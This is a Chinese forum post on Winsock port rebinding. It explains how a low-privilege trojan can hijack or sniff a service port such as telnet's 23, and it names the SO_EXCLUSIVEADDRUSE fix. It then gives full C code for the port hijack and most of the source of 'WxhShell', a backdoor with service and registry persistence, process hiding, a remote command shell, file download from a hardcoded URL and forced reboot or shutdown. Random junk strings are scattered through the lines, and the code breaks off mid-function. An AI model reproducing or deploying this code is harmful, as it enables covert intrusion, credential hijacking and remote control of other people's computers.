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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p~&BChBl!=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _%~$'Hy  
w&Y{1rF>  
  saddr.sin_family = AF_INET; .6 3=(o  
E V2  )  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @5.e@]>ZM  
MPIlSMe  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X8i(~ B  
5+- I5HX|~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hN3u@P^  
y7: tr  
  这意味着什么?意味着可以进行如下的攻击: \=;uu_v$  
Ye5jB2Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wG 1l+^p  
06 i;T~Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .$&Q[r3Lu  
e4`uVq5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6?qDdVR~]  
#DFV=:|~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <@G8ni  
KVPR}qTP;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wJeG(h  
Md,pDWb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v .=/Y(J  
maNW{"1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %g3,qI  
DWU`\9xA*  
  #include AVl~{k|  
  #include Wh( |+rJ?Z  
  #include x[Im%k  
  #include    o31Nmy Ni  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `y^sITr  
  int main() H={&3poBz  
  { ;apzAF  
  WORD wVersionRequested; 2-'Opu  
  DWORD ret; $s\UL}Gc  
  WSADATA wsaData; ;@3FF  
  BOOL val; F S"eM"z  
  SOCKADDR_IN saddr; a.@qGsIH  
  SOCKADDR_IN scaddr; ~Rpm-^  
  int err; T6#CK  
  SOCKET s; WC,+Cn e  
  SOCKET sc; ?wb+L  
  int caddsize; !ABiy6d  
  HANDLE mt; rJJ[X4$  
  DWORD tid;   &QNY,Pj  
  wVersionRequested = MAKEWORD( 2, 2 ); aG+j9Q_  
  err = WSAStartup( wVersionRequested, &wsaData ); 5D Y\:AF  
  if ( err != 0 ) { -|S]oJy  
  printf("error!WSAStartup failed!\n"); HYK!}&  
  return -1; ]Mi.f3QlO6  
  } h3* x[W  
  saddr.sin_family = AF_INET; )IL #>2n?  
   .8WXC   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ({^9<Us  
e>}}:Ud  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (`BSVxJH  
  saddr.sin_port = htons(23); Q`%R[#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g(C|!}ex/  
  { |X19fgk  
  printf("error!socket failed!\n"); k]A8% z  
  return -1; CO:u1?  
  } 2@=IT0[E\  
  val = TRUE; j;1-p>z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ccFn.($p?,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .w?(NZ2~  
  { @}-r&/#  
  printf("error!setsockopt failed!\n"); h#r^teui)  
  return -1; \2 y5_;O  
  } kq=V4-a[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FQz?3w&ia  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a:, y Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;`YkMS`=W  
<A5]]{9 +  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |RkcDrB~  
  { Q/ms]Du  
  ret=GetLastError(); x NK1h-t  
  printf("error!bind failed!\n"); i_R e*  
  return -1; /u%h8!"R  
  } &MZ$j46  
  listen(s,2); nlYR-.  
  while(1) +!IQj0&'Y3  
  { @Ky> 9m{  
  caddsize = sizeof(scaddr); '*^yAlgtt  
  //接受连接请求 /iC;%r1L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v1JS~uDz  
  if(sc!=INVALID_SOCKET) 7dG 79H  
  { *OJ/V O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wxg^Bq)D*R  
  if(mt==NULL) X?:o;wB  
  { IP`6bMd  
  printf("Thread Creat Failed!\n"); 6qWdd&1  
  break; \c v?^AI  
  } {`=0 |oP}  
  } K,'*Dz  
  CloseHandle(mt); |BT MJ:B  
  } vbx6I>\Y  
  closesocket(s); IQ< MyB(  
  WSACleanup(); F~:O.$f]G  
  return 0; ?3ig)J,e[  
  }   w]b,7QuNz  
  DWORD WINAPI ClientThread(LPVOID lpParam) H=*5ASc  
  { )n49lr6 X  
  SOCKET ss = (SOCKET)lpParam; :A %^^F%  
  SOCKET sc; 5!YA o\S  
  unsigned char buf[4096]; 2~[@_  
  SOCKADDR_IN saddr; *[ #;j$m  
  long num; `@d<n  
  DWORD val; 8$s9(n-_Y  
  DWORD ret; tM-^<V&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VErv;GyV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h&.wo !  
  saddr.sin_family = AF_INET; G+xt5n.%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D4eTTfQ  
  saddr.sin_port = htons(23); tWTKgbj(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'i;|c  
  { /-bF$)vN  
  printf("error!socket failed!\n"); a,F&`Wg  
  return -1; 8.' #?]a  
  } J:uW`R  
  val = 100; `RU[8@ 2%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T_b^ Tc`  
  { sDr/k`>  
  ret = GetLastError(); =S'%`]f?  
  return -1;  ~>O)  
  } 5uq3\a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fO'Wj`&a  
  { "mL++>ZSQ  
  ret = GetLastError(); c4&'D;=  
  return -1; 73{'k K  
  } Q9}dHIe1E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DRqZ,[!+  
  { o1&:ry  
  printf("error!socket connect failed!\n"); -<jL~][S  
  closesocket(sc); Fhv/[j^X  
  closesocket(ss); g  %K>  
  return -1; [7(-T?_  
  } O}9KJU  
  while(1) }$MN|s  
  { r`)L ~/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q~CA0AR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8+]hpa,q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }N_NvY  
  num = recv(ss,buf,4096,0); lo%;aK  
  if(num>0) AL$&|=C-$  
  send(sc,buf,num,0); EbeI{ -'aF  
  else if(num==0) [E#UGJ@  
  break; XwV'Ha  
  num = recv(sc,buf,4096,0); %r&-gWTQ,  
  if(num>0) 4Mk-2 Dx  
  send(ss,buf,num,0); gaA<}Tp,  
  else if(num==0) s9dO,FMs0t  
  break; i)#:qAtP*  
  } m}>F<;hQ  
  closesocket(ss); ^F?&|clM/  
  closesocket(sc); 1qV@qz  
  return 0 ; A:(*y 2  
  } LIg{J%  
+ OV')oE  
R52I= a5,*  
========================================================== 1&fc1uYB4  
3=-4%%[M@  
下边附上一个代码,,WXhSHELL G-9iowS/A  
l5l>d62  
========================================================== SIBoCs5  
eEhr140  
#include "stdafx.h" qV5DW0.  
G=;k=oX(  
#include <stdio.h> `eu9dLz H  
#include <string.h> .NtbL./=|  
#include <windows.h> ,=?{("+  
#include <winsock2.h> s2j['g5  
#include <winsvc.h> ngj,x7t  
#include <urlmon.h> )%!XSsY.N|  
OL_{_K(w  
#pragma comment (lib, "Ws2_32.lib") 8M@BG8  
#pragma comment (lib, "urlmon.lib") 0%!rx{f#\  
RwS@I /  
#define MAX_USER   100 // 最大客户端连接数 Y>jiXl?&  
#define BUF_SOCK   200 // sock buffer AeAp0cbet  
#define KEY_BUFF   255 // 输入 buffer ;3_l@dP"  
7ugZE93!  
#define REBOOT     0   // 重启 O;7)Hjwt  
#define SHUTDOWN   1   // 关机 f|u#2!7  
[AV4m   
#define DEF_PORT   5000 // 监听端口 eNiaM6(J  
`jS T  
#define REG_LEN     16   // 注册表键长度 ?\8?%Qk  
#define SVC_LEN     80   // NT服务名长度 FI"`DMb}  
vkLC-Mzm<  
// 从dll定义API mS k5u7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lO2[JP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,lCgQ0}<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xkOpa,=FI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y4+ ;z2' >  
RpLE 02U  
// wxhshell配置信息 Lg"C]  
struct WSCFG { e.c3nKXZ q  
  int ws_port;         // 监听端口 KR7@[  
  char ws_passstr[REG_LEN]; // 口令 mo~*C   
  int ws_autoins;       // 安装标记, 1=yes 0=no  +H$!a  
  char ws_regname[REG_LEN]; // 注册表键名 =IAsH85Q  
  char ws_svcname[REG_LEN]; // 服务名 qY 4#V k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xl74@wq   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ts~L:3oaQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ cj>2.   
int ws_downexe;       // 下载执行标记, 1=yes 0=no };'\~g,1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G\NPV'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zw wqSyuGf  
u.rY#cS,-R  
}; wf1lyS  
&~CY]PN.  
// default Wxhshell configuration 1>L(ul(qGF  
struct WSCFG wscfg={DEF_PORT, q\\gpCgp  
    "xuhuanlingzhe", vFEQ7 qI  
    1, /  g 2b  
    "Wxhshell", .jMq  
    "Wxhshell", A<;SnXm  
            "WxhShell Service", %kgkXc~6|x  
    "Wrsky Windows CmdShell Service", +**!@uY  
    "Please Input Your Password: ", .5  
  1, h<~7"ONhV  
  "http://www.wrsky.com/wxhshell.exe", soCi[j$lH  
  "Wxhshell.exe" wj[$9UJb  
    }; "kZ[N'z (  
+MmHu6"1  
// 消息定义模块 iX3HtIBj'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N>>uCkC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?)e37  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oPPX&e@=s]  
char *msg_ws_ext="\n\rExit."; C!7>1I~5  
char *msg_ws_end="\n\rQuit."; <]G]W/eB'  
char *msg_ws_boot="\n\rReboot..."; ;NlWb =  
char *msg_ws_poff="\n\rShutdown..."; P'Q+GRpSw  
char *msg_ws_down="\n\rSave to "; D-N8<:cA  
^U]UqX`  
char *msg_ws_err="\n\rErr!"; SM@QUAXO  
char *msg_ws_ok="\n\rOK!"; 2k<;R':  
fA89|NTSUh  
char ExeFile[MAX_PATH]; |r bWYl.b  
int nUser = 0; "--t e  
HANDLE handles[MAX_USER]; >3&O::]3  
int OsIsNt; d|4}obCt  
p<:!)kt  
SERVICE_STATUS       serviceStatus; 3MRc 4UlB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y3O#Q)-j$  
fxT-j s#S  
// 函数声明 %w7]@VZ  
int Install(void); /a6Xa&(B  
int Uninstall(void); UT="2*3gz  
int DownloadFile(char *sURL, SOCKET wsh); S]E.KLR?[;  
int Boot(int flag); I" KN"v^  
void HideProc(void); [|l?2j\  
int GetOsVer(void); r;m)nRu  
int Wxhshell(SOCKET wsl); t'ZWc\  
void TalkWithClient(void *cs); )aX,%yK  
int CmdShell(SOCKET sock); 6S~sVUL9`  
int StartFromService(void); >|;aIa@9  
int StartWxhshell(LPSTR lpCmdLine); EAeqLtFqs  
|<O9Sb_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h>Hb `G<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;V<fB/S.=+  
fNrgdfo  
// 数据结构和表定义 R i^[i}  
SERVICE_TABLE_ENTRY DispatchTable[] = tr7<]Hm:  
{ i E CrI3s  
{wscfg.ws_svcname, NTServiceMain}, vv=VRhwF  
{NULL, NULL} `UBYp p  
}; gJM`[x`T  
85GKymz$P  
// 自我安装 MQ"xOcD*F  
int Install(void) +5XpzZ{#Wa  
{ p ]d] QMu  
  char svExeFile[MAX_PATH]; ~9j%Hm0ht  
  HKEY key; ?@V[#.  
  strcpy(svExeFile,ExeFile); !>1@HH?I\/  
{GJ@psG*  
// 如果是win9x系统,修改注册表设为自启动 i'\T R|qd  
if(!OsIsNt) { -{ZWo:,r~q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4^URX >nx8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QVtQx>K`  
  RegCloseKey(key); 9V5-%Iv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ooQQ-?"m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NC38fiH_N  
  RegCloseKey(key); 0'IBN}  
  return 0; 73){K?R  
    } v;)..X30  
  } @9"J|}  
} O?|gp<=d  
else { f!JS= N?3  
Qubp9C#r  
// 如果是NT以上系统,安装为系统服务  =kuMWaD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QqU!Najf  
if (schSCManager!=0) Jkek-m  
{ gg8Uo G  
  SC_HANDLE schService = CreateService ghRVso(  
  ( F >rH^F  
  schSCManager, z[;z>8|c  
  wscfg.ws_svcname, k5T,990  
  wscfg.ws_svcdisp, R2 V4#  
  SERVICE_ALL_ACCESS, `*shF9.\C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :ijAqfX  
  SERVICE_AUTO_START, Gy(=706  
  SERVICE_ERROR_NORMAL, 87YyDWTn  
  svExeFile, )+6MK(<"  
  NULL, )-. _FOZ6  
  NULL, =&:Y6XP  
  NULL, Ywwu0.H<  
  NULL, v;ZA 4c  
  NULL wH@Ns~[MA  
  ); :eCU/BC4  
  if (schService!=0) *IM;tD+7Q~  
  { )>Yu!8i  
  CloseServiceHandle(schService); xKho1Z  
  CloseServiceHandle(schSCManager); is-7 j7;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *I0T{~  
  strcat(svExeFile,wscfg.ws_svcname); 8Q'0h m?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {yExQbN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %QP0  
  RegCloseKey(key); q*>&^V$M  
  return 0; >m$ 1+30X  
    } &e!7Z40w@&  
  } SBS3?hw  
  CloseServiceHandle(schSCManager); bR)(H%I  
} .*)2SNH  
} a8UwhjFO  
7K98#;a)5  
return 1; $\U 4hHOo  
} c-0#w=  
55fC~J<  
// 自我卸载 ^=-y%kp"  
int Uninstall(void) %xyou:~0zs  
{ K9up:.{QQ  
  HKEY key; Qr{E[6  
k-^mIJo}  
if(!OsIsNt) { 5f 5f0|ok  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w^Ed%>y7  
  RegDeleteValue(key,wscfg.ws_regname); , JQp'e  
  RegCloseKey(key); ]'=)2 .}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VB*oGG  
  RegDeleteValue(key,wscfg.ws_regname); 2V#>)R#k  
  RegCloseKey(key); 6l:qD`_  
  return 0; Ob<{G"  
  } :Nz2z[W$  
} jJPGrkr  
} 4.5|2 \[  
else { gK'1ZLdZ2  
  #^A*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c$yk s  
if (schSCManager!=0) CTZ8Da^  
{  cHk)i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AiO$<CS  
  if (schService!=0) ][p>Y>:b-  
  { ~XmLX)vO/  
  if(DeleteService(schService)!=0) { G VYkJ0,  
  CloseServiceHandle(schService); Yz +ZY  
  CloseServiceHandle(schSCManager); rr02pM0  
  return 0; M,\:<kNI  
  } x5-}h*  
  CloseServiceHandle(schService); S;286[oq@  
  } Rx=>6,)'  
  CloseServiceHandle(schSCManager); lUMS;H(  
} fUA uqfj[  
} :x4|X8>  
yj.7'{mA  
return 1; 2`N,,  
} A"dR{8&0  
Oagsoik  
// 从指定url下载文件 c2'Lfgx4  
int DownloadFile(char *sURL, SOCKET wsh) cmU1!2.1E  
{ 1oW ED*B  
  HRESULT hr; heC/\@B  
char seps[]= "/"; $m-2Hh qZ  
char *token; ^<a t'jk6  
char *file; gL *>[@RO  
char myURL[MAX_PATH]; _8F`cuyW  
char myFILE[MAX_PATH]; q %"VYt4  
st:`y=F_  
strcpy(myURL,sURL); os:A]  
  token=strtok(myURL,seps); Sp;G'*g  
  while(token!=NULL) &&8IU;J  
  { `n @*{J8  
    file=token; 6"J? #  
  token=strtok(NULL,seps); q!u~jI9 j  
  } tnN.:%mZ  
nz=G lO'[  
GetCurrentDirectory(MAX_PATH,myFILE); q(.sq12<<W  
strcat(myFILE, "\\"); eoG$.M"  
strcat(myFILE, file); |Sy<@oq  
  send(wsh,myFILE,strlen(myFILE),0); )I^7)x  
send(wsh,"...",3,0); qGB{7-ru  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iW%I|&  
  if(hr==S_OK) H2jgO?l;!  
return 0; RbP6F*f  
else '}Z~JYa0  
return 1; sHt].gZ  
y[)>yq y  
} J$GUB3 G  
1VG4S){}\9  
// 系统电源模块 Uyg5i[&X@  
int Boot(int flag) aJbO((%$|u  
{ ;S^'V  
  HANDLE hToken; q$Zh@  
  TOKEN_PRIVILEGES tkp; WrxP  
d"*uBVzXm  
  if(OsIsNt) { 7e|s wJ>4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0zlb0[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |@ s,XS  
    tkp.PrivilegeCount = 1; C.Kh [V\Ut  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =JK@z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g9}DnCT*.  
if(flag==REBOOT) { /_AnP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4C61GB?Vy  
  return 0; NV72  
} g(qJN<R C/  
else { jHE}qE~>5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S >X:ZYYC  
  return 0; =S+wCN  
} 'MUv5 Th  
  } 4ew" %Cs*  
  else { N~goI#4  
if(flag==REBOOT) { (_mnB W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N`5,\TR2f  
  return 0; )NXmn95  
} K/j3a[.  
else { A@1W}8qY:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (|:M&Cna]  
  return 0; vNV/eB8#S  
} `.~N4+SP  
} Rg\z<wPBG  
6}[I2F_^  
return 1; :cem,#(=  
} cu7hBf j  
AN8`7F1  
// win9x进程隐藏模块 |:nOp(A\*  
void HideProc(void) m? J0i>H  
{ 4o <Uy  
p*4':TFuD;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :dl]h&C^  
  if ( hKernel != NULL ) I7|Pi[e  
  { ~?4PBq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZkRx1S"m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rzhWw-GY  
    FreeLibrary(hKernel); 0QXVW}`hz  
  } "}u.v?HYz  
qT{U(  
return; W=^#v  
} 8uc1iB  
+Mo9kC  
// 获取操作系统版本 ov ` h  
int GetOsVer(void) p Dx1z|@z  
{ Se :.4<  
  OSVERSIONINFO winfo; &S{RGXj_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gPNZF\ r  
  GetVersionEx(&winfo); (6?9BlH~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q>_/u"  
  return 1; .zA^)qgL  
  else =x%dNf$e{W  
  return 0; 2h|MXI\g  
} 4ni<E*  
#C~+JL  
// 客户端句柄模块 rq8K_zp  
int Wxhshell(SOCKET wsl) <Swt);  
{ Q i,j+xBp  
  SOCKET wsh; [w>$QR  
  struct sockaddr_in client; 1-%fo~!l  
  DWORD myID; a,@]8r-"  
>:AARx%  
  while(nUser<MAX_USER) XX7{-Y y  
{ {@H6HqD  
  int nSize=sizeof(client); yzbx .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CJ/X}hi,  
  if(wsh==INVALID_SOCKET) return 1; *W4m3Lq  
9_# >aOqL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7`- Zuf  
if(handles[nUser]==0) J`peX0Stl  
  closesocket(wsh); 3 R=,1<  
else `YFtL  
  nUser++; 4x {0iav  
  } ~bM4[*Q7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wxR,OR  
;,C)!c&  
  return 0; 3QV*%  
} nHnK)9\N  
$:=A'd2  
// 关闭 socket 7]U"Z*  
void CloseIt(SOCKET wsh) 35Ij ..z0  
{ 54gBJEhg  
closesocket(wsh); *;l]8.  
nUser--; H7z,j}l  
ExitThread(0); )JDs\fUE  
} 9A/\h3HrJ  
Hbj,[$Jb  
// 客户端请求句柄 #X%~B'  
void TalkWithClient(void *cs) }6p@lla,%]  
{ PXK7b2fE.  
6_J$UBT  
  SOCKET wsh=(SOCKET)cs; Lz`E;k^  
  char pwd[SVC_LEN]; \s/s7y6b+  
  char cmd[KEY_BUFF]; oiF}?:7Q7  
char chr[1]; ^ssK   
int i,j; lW+\j3?Z$  
:}Xll#.,m  
  while (nUser < MAX_USER) { j| v%)A  
5QW=&zI`=  
if(wscfg.ws_passstr) { `_BNy=`s*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fL_4uC i\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wg7V-+@i  
  //ZeroMemory(pwd,KEY_BUFF); zcel|oz)  
      i=0; @G BxL*e  
  while(i<SVC_LEN) { Sc>,lIM  
S'|,oUWDb  
  // 设置超时 ?zeJ#i  
  fd_set FdRead; ^WHE$4U`  
  struct timeval TimeOut; o>).Cj  
  FD_ZERO(&FdRead); @E;=*9ek{u  
  FD_SET(wsh,&FdRead); 4iqoR$3Fc  
  TimeOut.tv_sec=8; LIS)(X<]?  
  TimeOut.tv_usec=0; *i\Qo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D N'3QQn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); na#CpS;pc  
qIVx9jNN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -l`f)0{  
  pwd=chr[0]; vL|SY_:4  
  if(chr[0]==0xd || chr[0]==0xa) { Keuf9u  
  pwd=0; di?K"Z>  
  break; G^~k)6v=m  
  } f1`gdQ)H  
  i++; !Z`j2 e}  
    } aUzBV\Yd}  
w&$`cD  
  // 如果是非法用户,关闭 socket 1_o],? Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &qMPq->  
} M2HomO/X)  
u5O+1sZ"6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s:OFVlC%\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1/RsptN"v  
5A%w 8Qv  
while(1) { b1^vd@(lx  
yL%K4$z  
  ZeroMemory(cmd,KEY_BUFF); y-T| #  
^M3~^lV  
      // 自动支持客户端 telnet标准   )` SE S."  
  j=0; sc|_Q/`\.  
  while(j<KEY_BUFF) { o]+z)5zC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3[\iQ*d }B  
  cmd[j]=chr[0]; J{l1nHQZSu  
  if(chr[0]==0xa || chr[0]==0xd) { )hd@S9Z.Y  
  cmd[j]=0; VCu{&Sh*  
  break; b o0^3]Z  
  } LUG;(Fko  
  j++; Gn\_+Pj$  
    } /mXBvY  
6FUw"|\u{  
  // 下载文件 E4gYemuN  
  if(strstr(cmd,"http://")) { *-+&[P]m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R? ,an2  
  if(DownloadFile(cmd,wsh)) n1qQ+(xC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x9a?L.48  
  else 0Oi,#]F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P7J>+cm  
  } $"`- ^  
  else { 3!3xCO  
l]@&D#3ZM  
    switch(cmd[0]) { $k|g"9  
  *YW/_  
  // 帮助 &K[_J  
  case '?': { 3t`P@nL0;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J c g,#@  
    break; _,zA ^*b  
  } _]04lGx27  
  // 安装 Scp7X7{N  
  case 'i': { /,1D)0  
    if(Install()) XOxr?NPQ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vbkI^+=,YY  
    else z3`-plE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I'\kFjc  
    break; QZ4v/Ou  
    } x1Lb*3Fe  
  // 卸载 nnCG g+l  
  case 'r': { ~1cnE:x;V  
    if(Uninstall()) $@sEn4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); unshH<  
    else FjK3 .>'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0T@Zb={  
    break; zw+B9PYqX  
    } +)kb(  
  // 显示 wxhshell 所在路径 UUSq$~Ct  
  case 'p': {  u*e.yN  
    char svExeFile[MAX_PATH]; i#7DR>XF/  
    strcpy(svExeFile,"\n\r"); &/mA7Vf>eR  
      strcat(svExeFile,ExeFile); nS/)P4z  
        send(wsh,svExeFile,strlen(svExeFile),0); d1T,eJ}  
    break; x HoKo  
    } W [Of|?  
  // 重启 / rg*p  
  case 'b': { 0rh]]kj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |w_7_J2  
    if(Boot(REBOOT)) WEFlV4/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0="%Y ^N  
    else { aki _RG>U'  
    closesocket(wsh); HKF H/eV  
    ExitThread(0); Kpb#K[(]&  
    } dODt(J}%  
    break; #@^t;)|  
    } Q&MZN);.  
  // 关机 0*%Z's\M"  
  case 'd': { iDMJicW!+F  
